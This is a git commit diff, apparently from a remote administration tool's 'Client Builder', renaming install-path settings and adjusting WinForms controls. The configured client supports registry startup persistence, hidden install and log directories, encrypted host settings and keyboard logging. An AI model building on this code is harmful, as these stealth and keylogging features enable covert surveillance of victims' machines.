Minor builder fix

This commit is contained in:
MaxXor 2016-08-18 16:20:50 +02:00
parent 01d64d4f2a
commit 66c007345b
5 changed files with 160 additions and 145 deletions

View File

@ -16,8 +16,8 @@ namespace xClient.Config
public static string KEY = "1WvgEMPjdwfqIMeM9MclyQ==";
public static string AUTHKEY = "NcFtjbDOcsw7Evd3coMC0y4koy/SRZGydhNmno81ZOWOvdfg7sv0Cj5ad2ROUfX4QMscAIjYJdjrrs41+qcQwg==";
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIR = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBFOLDER = "Test";
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBDIRECTORY = "Test";
public static string INSTALLNAME = "test.exe";
public static bool INSTALL = false;
public static bool STARTUP = false;
@ -28,7 +28,7 @@ namespace xClient.Config
public static string TAG = "DEBUG";
public static string LOGDIRECTORYNAME = "Logs";
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBFOLDER = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static bool Initialize()
{
@ -42,8 +42,8 @@ namespace xClient.Config
public static string KEY = "";
public static string AUTHKEY = "";
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIR = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBFOLDER = "";
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBDIRECTORY = "";
public static string INSTALLNAME = "";
public static bool INSTALL = false;
public static bool STARTUP = false;
@ -55,7 +55,7 @@ namespace xClient.Config
public static string TAG = "";
public static string LOGDIRECTORYNAME = "";
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBFOLDER = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static bool Initialize()
{
@ -64,7 +64,7 @@ namespace xClient.Config
TAG = AES.Decrypt(TAG);
VERSION = AES.Decrypt(VERSION);
HOSTS = AES.Decrypt(HOSTS);
SUBFOLDER = AES.Decrypt(SUBFOLDER);
SUBDIRECTORY = AES.Decrypt(SUBDIRECTORY);
INSTALLNAME = AES.Decrypt(INSTALLNAME);
MUTEX = AES.Decrypt(MUTEX);
STARTUPKEY = AES.Decrypt(STARTUPKEY);
@ -89,7 +89,7 @@ namespace xClient.Config
break;
}
DIR = Environment.GetFolderPath(SPECIALFOLDER);
DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
}
}
}

View File

@ -16,11 +16,11 @@ namespace xClient.Core.Installation
bool isKilled = false;
// create target dir
if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
if (!Directory.Exists(Path.Combine(Settings.DIRECTORY, Settings.SUBDIRECTORY)))
{
try
{
Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
Directory.CreateDirectory(Path.Combine(Settings.DIRECTORY, Settings.SUBDIRECTORY));
}
catch (Exception)
{

View File

@ -91,7 +91,7 @@ namespace xClient
return false;
AES.SetDefaultKey(Settings.KEY, Settings.AUTHKEY);
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
GeoLocationHelper.Initialize();
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
@ -116,7 +116,7 @@ namespace xClient
{
}
}
if (Settings.INSTALL && Settings.HIDEINSTALLSUBFOLDER && !string.IsNullOrEmpty(Settings.SUBFOLDER))
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
{
try
{

View File

@ -32,6 +32,10 @@
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmBuilder));
this.btnBuild = new System.Windows.Forms.Button();
this.tooltip = new System.Windows.Forms.ToolTip(this.components);
this.picUAC2 = new System.Windows.Forms.PictureBox();
this.picUAC1 = new System.Windows.Forms.PictureBox();
this.rbSystem = new System.Windows.Forms.RadioButton();
this.rbProgramFiles = new System.Windows.Forms.RadioButton();
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@ -69,27 +73,24 @@
this.txtPassword = new System.Windows.Forms.TextBox();
this.lblPassword = new System.Windows.Forms.Label();
this.installationPage = new System.Windows.Forms.TabPage();
this.chkHideSubDirectory = new System.Windows.Forms.CheckBox();
this.line7 = new xServer.Controls.Line();
this.label10 = new System.Windows.Forms.Label();
this.line4 = new xServer.Controls.Line();
this.label5 = new System.Windows.Forms.Label();
this.picUAC2 = new System.Windows.Forms.PictureBox();
this.picUAC1 = new System.Windows.Forms.PictureBox();
this.chkInstall = new System.Windows.Forms.CheckBox();
this.rbSystem = new System.Windows.Forms.RadioButton();
this.lblInstallname = new System.Windows.Forms.Label();
this.rbProgramFiles = new System.Windows.Forms.RadioButton();
this.txtInstallname = new System.Windows.Forms.TextBox();
this.lblInstallName = new System.Windows.Forms.Label();
this.txtInstallName = new System.Windows.Forms.TextBox();
this.txtRegistryKeyName = new System.Windows.Forms.TextBox();
this.lblExtension = new System.Windows.Forms.Label();
this.lblRegistryKeyName = new System.Windows.Forms.Label();
this.chkStartup = new System.Windows.Forms.CheckBox();
this.rbAppdata = new System.Windows.Forms.RadioButton();
this.chkHide = new System.Windows.Forms.CheckBox();
this.lblInstallpath = new System.Windows.Forms.Label();
this.lblInstallsub = new System.Windows.Forms.Label();
this.lblInstallDirectory = new System.Windows.Forms.Label();
this.lblInstallSubDirectory = new System.Windows.Forms.Label();
this.lblPreviewPath = new System.Windows.Forms.Label();
this.txtInstallsub = new System.Windows.Forms.TextBox();
this.txtInstallSubDirectory = new System.Windows.Forms.TextBox();
this.txtPreviewPath = new System.Windows.Forms.TextBox();
this.assemblyPage = new System.Windows.Forms.TabPage();
this.iconPreview = new System.Windows.Forms.PictureBox();
@ -124,7 +125,8 @@
this.line10 = new xServer.Controls.Line();
this.label14 = new System.Windows.Forms.Label();
this.chkKeylogger = new System.Windows.Forms.CheckBox();
this.chkHideSubDirectory = new System.Windows.Forms.CheckBox();
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit();
this.contextMenuStrip.SuspendLayout();
this.builderTabs.SuspendLayout();
this.generalPage.SuspendLayout();
@ -132,8 +134,6 @@
((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).BeginInit();
this.installationPage.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit();
this.assemblyPage.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit();
this.surveillanceTab.SuspendLayout();
@ -149,6 +149,54 @@
this.btnBuild.UseVisualStyleBackColor = true;
this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click);
//
// picUAC2
//
this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield;
this.picUAC2.Location = new System.Drawing.Point(363, 88);
this.picUAC2.Name = "picUAC2";
this.picUAC2.Size = new System.Drawing.Size(16, 20);
this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picUAC2.TabIndex = 32;
this.picUAC2.TabStop = false;
this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System.");
//
// picUAC1
//
this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield;
this.picUAC1.Location = new System.Drawing.Point(363, 68);
this.picUAC1.Name = "picUAC1";
this.picUAC1.Size = new System.Drawing.Size(16, 20);
this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picUAC1.TabIndex = 31;
this.picUAC1.TabStop = false;
this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files.");
//
// rbSystem
//
this.rbSystem.AutoSize = true;
this.rbSystem.Location = new System.Drawing.Point(241, 91);
this.rbSystem.Name = "rbSystem";
this.rbSystem.Size = new System.Drawing.Size(60, 17);
this.rbSystem.TabIndex = 5;
this.rbSystem.TabStop = true;
this.rbSystem.Text = "System";
this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System.");
this.rbSystem.UseVisualStyleBackColor = true;
this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
//
// rbProgramFiles
//
this.rbProgramFiles.AutoSize = true;
this.rbProgramFiles.Location = new System.Drawing.Point(241, 68);
this.rbProgramFiles.Name = "rbProgramFiles";
this.rbProgramFiles.Size = new System.Drawing.Size(94, 17);
this.rbProgramFiles.TabIndex = 4;
this.rbProgramFiles.TabStop = true;
this.rbProgramFiles.Text = "Program Files";
this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files.");
this.rbProgramFiles.UseVisualStyleBackColor = true;
this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
//
// contextMenuStrip
//
this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
@ -549,19 +597,19 @@
this.installationPage.Controls.Add(this.picUAC1);
this.installationPage.Controls.Add(this.chkInstall);
this.installationPage.Controls.Add(this.rbSystem);
this.installationPage.Controls.Add(this.lblInstallname);
this.installationPage.Controls.Add(this.lblInstallName);
this.installationPage.Controls.Add(this.rbProgramFiles);
this.installationPage.Controls.Add(this.txtInstallname);
this.installationPage.Controls.Add(this.txtInstallName);
this.installationPage.Controls.Add(this.txtRegistryKeyName);
this.installationPage.Controls.Add(this.lblExtension);
this.installationPage.Controls.Add(this.lblRegistryKeyName);
this.installationPage.Controls.Add(this.chkStartup);
this.installationPage.Controls.Add(this.rbAppdata);
this.installationPage.Controls.Add(this.chkHide);
this.installationPage.Controls.Add(this.lblInstallpath);
this.installationPage.Controls.Add(this.lblInstallsub);
this.installationPage.Controls.Add(this.lblInstallDirectory);
this.installationPage.Controls.Add(this.lblInstallSubDirectory);
this.installationPage.Controls.Add(this.lblPreviewPath);
this.installationPage.Controls.Add(this.txtInstallsub);
this.installationPage.Controls.Add(this.txtInstallSubDirectory);
this.installationPage.Controls.Add(this.txtPreviewPath);
this.installationPage.Location = new System.Drawing.Point(140, 4);
this.installationPage.Name = "installationPage";
@ -570,6 +618,16 @@
this.installationPage.TabIndex = 1;
this.installationPage.Text = "Installation Settings";
//
// chkHideSubDirectory
//
this.chkHideSubDirectory.AutoSize = true;
this.chkHideSubDirectory.Location = new System.Drawing.Point(186, 185);
this.chkHideSubDirectory.Name = "chkHideSubDirectory";
this.chkHideSubDirectory.Size = new System.Drawing.Size(185, 17);
this.chkHideSubDirectory.TabIndex = 37;
this.chkHideSubDirectory.Text = "Set subdir attributes to hidden";
this.chkHideSubDirectory.UseVisualStyleBackColor = true;
//
// line7
//
this.line7.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
@ -606,28 +664,6 @@
this.label5.TabIndex = 0;
this.label5.Text = "Installation Location";
//
// picUAC2
//
this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield;
this.picUAC2.Location = new System.Drawing.Point(363, 88);
this.picUAC2.Name = "picUAC2";
this.picUAC2.Size = new System.Drawing.Size(16, 20);
this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picUAC2.TabIndex = 32;
this.picUAC2.TabStop = false;
this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System.");
//
// picUAC1
//
this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield;
this.picUAC1.Location = new System.Drawing.Point(363, 68);
this.picUAC1.Name = "picUAC1";
this.picUAC1.Size = new System.Drawing.Size(16, 20);
this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picUAC1.TabIndex = 31;
this.picUAC1.TabStop = false;
this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files.");
//
// chkInstall
//
this.chkInstall.AutoSize = true;
@ -639,49 +675,23 @@
this.chkInstall.UseVisualStyleBackColor = true;
this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged);
//
// rbSystem
// lblInstallName
//
this.rbSystem.AutoSize = true;
this.rbSystem.Location = new System.Drawing.Point(241, 91);
this.rbSystem.Name = "rbSystem";
this.rbSystem.Size = new System.Drawing.Size(60, 17);
this.rbSystem.TabIndex = 5;
this.rbSystem.TabStop = true;
this.rbSystem.Text = "System";
this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System.");
this.rbSystem.UseVisualStyleBackColor = true;
this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
this.lblInstallName.AutoSize = true;
this.lblInstallName.Location = new System.Drawing.Point(17, 156);
this.lblInstallName.Name = "lblInstallName";
this.lblInstallName.Size = new System.Drawing.Size(73, 13);
this.lblInstallName.TabIndex = 8;
this.lblInstallName.Text = "Install Name:";
//
// lblInstallname
// txtInstallName
//
this.lblInstallname.AutoSize = true;
this.lblInstallname.Location = new System.Drawing.Point(17, 156);
this.lblInstallname.Name = "lblInstallname";
this.lblInstallname.Size = new System.Drawing.Size(73, 13);
this.lblInstallname.TabIndex = 8;
this.lblInstallname.Text = "Install Name:";
//
// rbProgramFiles
//
this.rbProgramFiles.AutoSize = true;
this.rbProgramFiles.Location = new System.Drawing.Point(241, 68);
this.rbProgramFiles.Name = "rbProgramFiles";
this.rbProgramFiles.Size = new System.Drawing.Size(94, 17);
this.rbProgramFiles.TabIndex = 4;
this.rbProgramFiles.TabStop = true;
this.rbProgramFiles.Text = "Program Files";
this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files.");
this.rbProgramFiles.UseVisualStyleBackColor = true;
this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
//
// txtInstallname
//
this.txtInstallname.Location = new System.Drawing.Point(182, 153);
this.txtInstallname.Name = "txtInstallname";
this.txtInstallname.Size = new System.Drawing.Size(170, 22);
this.txtInstallname.TabIndex = 9;
this.txtInstallname.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
this.txtInstallname.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress);
this.txtInstallName.Location = new System.Drawing.Point(182, 153);
this.txtInstallName.Name = "txtInstallName";
this.txtInstallName.Size = new System.Drawing.Size(170, 22);
this.txtInstallName.TabIndex = 9;
this.txtInstallName.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
this.txtInstallName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress);
//
// txtRegistryKeyName
//
@ -744,23 +754,23 @@
this.chkHide.UseVisualStyleBackColor = true;
this.chkHide.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
// lblInstallpath
// lblInstallDirectory
//
this.lblInstallpath.AutoSize = true;
this.lblInstallpath.Location = new System.Drawing.Point(17, 47);
this.lblInstallpath.Name = "lblInstallpath";
this.lblInstallpath.Size = new System.Drawing.Size(67, 13);
this.lblInstallpath.TabIndex = 2;
this.lblInstallpath.Text = "Install Path:";
this.lblInstallDirectory.AutoSize = true;
this.lblInstallDirectory.Location = new System.Drawing.Point(17, 47);
this.lblInstallDirectory.Name = "lblInstallDirectory";
this.lblInstallDirectory.Size = new System.Drawing.Size(90, 13);
this.lblInstallDirectory.TabIndex = 2;
this.lblInstallDirectory.Text = "Install Directory:";
//
// lblInstallsub
// lblInstallSubDirectory
//
this.lblInstallsub.AutoSize = true;
this.lblInstallsub.Location = new System.Drawing.Point(17, 126);
this.lblInstallsub.Name = "lblInstallsub";
this.lblInstallsub.Size = new System.Drawing.Size(95, 13);
this.lblInstallsub.TabIndex = 6;
this.lblInstallsub.Text = "Install Subfolder:";
this.lblInstallSubDirectory.AutoSize = true;
this.lblInstallSubDirectory.Location = new System.Drawing.Point(17, 126);
this.lblInstallSubDirectory.Name = "lblInstallSubDirectory";
this.lblInstallSubDirectory.Size = new System.Drawing.Size(109, 13);
this.lblInstallSubDirectory.TabIndex = 6;
this.lblInstallSubDirectory.Text = "Install Subdirectory:";
//
// lblPreviewPath
//
@ -771,14 +781,14 @@
this.lblPreviewPath.TabIndex = 12;
this.lblPreviewPath.Text = "Installation Location Preview:";
//
// txtInstallsub
// txtInstallSubDirectory
//
this.txtInstallsub.Location = new System.Drawing.Point(182, 123);
this.txtInstallsub.Name = "txtInstallsub";
this.txtInstallsub.Size = new System.Drawing.Size(201, 22);
this.txtInstallsub.TabIndex = 7;
this.txtInstallsub.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
this.txtInstallsub.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress);
this.txtInstallSubDirectory.Location = new System.Drawing.Point(182, 123);
this.txtInstallSubDirectory.Name = "txtInstallSubDirectory";
this.txtInstallSubDirectory.Size = new System.Drawing.Size(201, 22);
this.txtInstallSubDirectory.TabIndex = 7;
this.txtInstallSubDirectory.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
this.txtInstallSubDirectory.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress);
//
// txtPreviewPath
//
@ -1061,11 +1071,11 @@
// chkHideLogDirectory
//
this.chkHideLogDirectory.AutoSize = true;
this.chkHideLogDirectory.Location = new System.Drawing.Point(316, 72);
this.chkHideLogDirectory.Location = new System.Drawing.Point(20, 72);
this.chkHideLogDirectory.Name = "chkHideLogDirectory";
this.chkHideLogDirectory.Size = new System.Drawing.Size(64, 17);
this.chkHideLogDirectory.Size = new System.Drawing.Size(197, 17);
this.chkHideLogDirectory.TabIndex = 7;
this.chkHideLogDirectory.Text = "Hidden";
this.chkHideLogDirectory.Text = "Set directory attributes to hidden";
this.chkHideLogDirectory.UseVisualStyleBackColor = true;
this.chkHideLogDirectory.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
@ -1114,17 +1124,7 @@
this.chkKeylogger.TabIndex = 4;
this.chkKeylogger.Text = "Enable keyboard logging";
this.chkKeylogger.UseVisualStyleBackColor = true;
this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
// chkHideSubdirectory
//
this.chkHideSubDirectory.AutoSize = true;
this.chkHideSubDirectory.Location = new System.Drawing.Point(186, 185);
this.chkHideSubDirectory.Name = "chkHideSubdirectory";
this.chkHideSubDirectory.Size = new System.Drawing.Size(202, 17);
this.chkHideSubDirectory.TabIndex = 37;
this.chkHideSubDirectory.Text = "Set subfolder attributes to hidden";
this.chkHideSubDirectory.UseVisualStyleBackColor = true;
this.chkKeylogger.CheckedChanged += new System.EventHandler(this.chkKeylogger_CheckedChanged);
//
// FrmBuilder
//
@ -1144,6 +1144,8 @@
this.Text = "Client Builder";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing);
this.Load += new System.EventHandler(this.FrmBuilder_Load);
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit();
this.contextMenuStrip.ResumeLayout(false);
this.builderTabs.ResumeLayout(false);
this.generalPage.ResumeLayout(false);
@ -1154,8 +1156,6 @@
((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).EndInit();
this.installationPage.ResumeLayout(false);
this.installationPage.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit();
this.assemblyPage.ResumeLayout(false);
this.assemblyPage.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit();
@ -1175,15 +1175,15 @@
private System.Windows.Forms.Label lblHost;
private System.Windows.Forms.Label lblDelay;
private System.Windows.Forms.CheckBox chkInstall;
private System.Windows.Forms.TextBox txtInstallname;
private System.Windows.Forms.Label lblInstallname;
private System.Windows.Forms.TextBox txtInstallName;
private System.Windows.Forms.Label lblInstallName;
private System.Windows.Forms.TextBox txtMutex;
private System.Windows.Forms.Label lblMutex;
private System.Windows.Forms.Label lblExtension;
private System.Windows.Forms.Label lblInstallpath;
private System.Windows.Forms.Label lblInstallDirectory;
private System.Windows.Forms.RadioButton rbAppdata;
private System.Windows.Forms.TextBox txtInstallsub;
private System.Windows.Forms.Label lblInstallsub;
private System.Windows.Forms.TextBox txtInstallSubDirectory;
private System.Windows.Forms.Label lblInstallSubDirectory;
private System.Windows.Forms.Label lblPreviewPath;
private System.Windows.Forms.TextBox txtPreviewPath;
private System.Windows.Forms.Button btnMutex;

View File

@ -35,9 +35,9 @@ namespace xServer.Forms
numericUpDownDelay.Value = profile.Delay;
txtMutex.Text = profile.Mutex;
chkInstall.Checked = profile.InstallClient;
txtInstallname.Text = profile.InstallName;
txtInstallName.Text = profile.InstallName;
GetInstallPath(profile.InstallPath).Checked = true;
txtInstallsub.Text = profile.InstallSub;
txtInstallSubDirectory.Text = profile.InstallSub;
chkHide.Checked = profile.HideFile;
chkHideSubDirectory.Checked = profile.HideSubDirectory;
chkStartup.Checked = profile.AddStartup;
@ -70,9 +70,9 @@ namespace xServer.Forms
profile.Delay = (int)numericUpDownDelay.Value;
profile.Mutex = txtMutex.Text;
profile.InstallClient = chkInstall.Checked;
profile.InstallName = txtInstallname.Text;
profile.InstallName = txtInstallName.Text;
profile.InstallPath = GetInstallPath();
profile.InstallSub = txtInstallsub.Text;
profile.InstallSub = txtInstallSubDirectory.Text;
profile.HideFile = chkHide.Checked;
profile.HideSubDirectory = chkHideSubDirectory.Checked;
profile.AddStartup = chkStartup.Checked;
@ -103,6 +103,7 @@ namespace xServer.Forms
UpdateStartupControlStates();
UpdateAssemblyControlStates();
UpdateIconControlStates();
UpdateKeyloggerControlStates();
}
private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e)
@ -208,6 +209,13 @@ namespace xServer.Forms
UpdateAssemblyControlStates();
}
private void chkKeylogger_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateKeyloggerControlStates();
}
private void btnBrowseIcon_Click(object sender, EventArgs e)
{
using (OpenFileDialog ofd = new OpenFileDialog())
@ -235,7 +243,7 @@ namespace xServer.Forms
{
return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings
_hosts.Count > 0 && !string.IsNullOrWhiteSpace(txtPassword.Text) && // Connection
(!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallname.Text))) && // Installation
(!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallName.Text))) && // Installation
(!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation
}
@ -257,8 +265,8 @@ namespace xServer.Forms
options.IconPath = txtIconPath.Text;
options.Version = Application.ProductVersion;
options.InstallPath = GetInstallPath();
options.InstallSub = txtInstallsub.Text;
options.InstallName = txtInstallname.Text + ".exe";
options.InstallSub = txtInstallSubDirectory.Text;
options.InstallName = txtInstallName.Text + ".exe";
options.StartupName = txtRegistryKeyName.Text;
options.Install = chkInstall.Checked;
options.Startup = chkStartup.Checked;
@ -380,21 +388,21 @@ namespace xServer.Forms
path =
Path.Combine(
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
txtInstallsub.Text), txtInstallname.Text);
txtInstallSubDirectory.Text), txtInstallName.Text);
else if (rbProgramFiles.Checked)
path =
Path.Combine(
Path.Combine(
Environment.GetFolderPath(PlatformHelper.Architecture == 64
? Environment.SpecialFolder.ProgramFilesX86
: Environment.SpecialFolder.ProgramFiles), txtInstallsub.Text), txtInstallname.Text);
: Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text);
else if (rbSystem.Checked)
path =
Path.Combine(
Path.Combine(
Environment.GetFolderPath(PlatformHelper.Architecture == 64
? Environment.SpecialFolder.SystemX86
: Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text);
: Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text);
this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; });
}
@ -447,12 +455,19 @@ namespace xServer.Forms
private void UpdateInstallationControlStates()
{
txtInstallname.Enabled = chkInstall.Checked;
txtInstallName.Enabled = chkInstall.Checked;
rbAppdata.Enabled = chkInstall.Checked;
rbProgramFiles.Enabled = chkInstall.Checked;
rbSystem.Enabled = chkInstall.Checked;
txtInstallsub.Enabled = chkInstall.Checked;
txtInstallSubDirectory.Enabled = chkInstall.Checked;
chkHide.Enabled = chkInstall.Checked;
chkHideSubDirectory.Enabled = chkInstall.Checked;
}
private void UpdateKeyloggerControlStates()
{
txtLogDirectoryName.Enabled = chkKeylogger.Checked;
chkHideLogDirectory.Enabled = chkKeylogger.Checked;
}
private void HasChanged()